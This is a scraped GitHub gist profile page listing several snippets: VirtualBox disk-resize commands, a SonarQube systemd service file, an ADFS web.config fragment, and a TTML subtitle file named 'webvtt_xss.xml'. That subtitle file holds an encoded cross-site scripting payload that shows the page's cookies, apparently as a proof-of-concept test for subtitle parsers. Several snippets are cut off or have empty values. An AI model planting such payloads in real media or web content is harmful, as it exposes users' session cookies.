Skip to content

Instantly share code, notes, and snippets.


W1r3d W1R3D-Code

  • Cambridge
View GitHub Profile
View webvtt_xss.xml
<?xml version="1.0" encoding="UTF-8"?>
<tt xmlns="" xmlns:ttp="" xmlns:ttm="" xmlns:tts="" xml:lang="en" ttp:frameRate="25" ttp:timeBase="media">
<p xml:id="c0" xml:space="preserve" begin="00:00:01.000" end="00:00:02.000" tts:backgroundColor="black" tts:fontSize="15" tts:origin="0px 0px">&#x3C;img src=x onerror=alert(document.cookie) /&#x3E;</p>
W1R3D-Code / resize-vmi
Last active May 16, 2019
Resize VirtualBox VM's disk (after being created by Vagrant). commands to run manually, first from windows host then on Linux vm
View resize-vmi
# 1. First stop the VM
# Back up what you can since it never hurts to do so!
# 2. convert .vmdk to .vmi and resize to 50G
# if not in path VBoxManager is here by default: C:\Program Files\Oracle\VirtualBox\VBoxManage.exe
VBoxManage clonehd in.vmdk out.vmi --format VDI
VBoxManage modifyhd out.vmi --resize 51200
# 3. Go into VirtualBox settings for VM and remove the old vmdk disk and attach your new vmi in its place
# This won't do anything to the disks but its always nice to have backups incase anything goes wrong
W1R3D-Code / sonarqube.service
Last active May 10, 2019
Running SonarQube as a Service on Linux with SystemD - /etc/systemd/system/sonarqube.service
View sonarqube.service
Description=SonarQube service
ExecStart=/opt/sonarqube/bin/linux-x86-64/ start
ExecStop=/opt/sonarqube/bin/linux-x86-64/ stop
W1R3D-Code / web.config
Created Jan 19, 2018 — forked from nzpcmad/web.config
Classic ASP and ADFS
View web.config
<?xml version="1.0" encoding="UTF-8"?>
<section name="microsoft.identityModel" type="Microsoft.IdentityModel.Configuration.MicrosoftIdentityModelSection, Microsoft.IdentityModel, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
<location path="FederationMetadata">
<allow users="*" />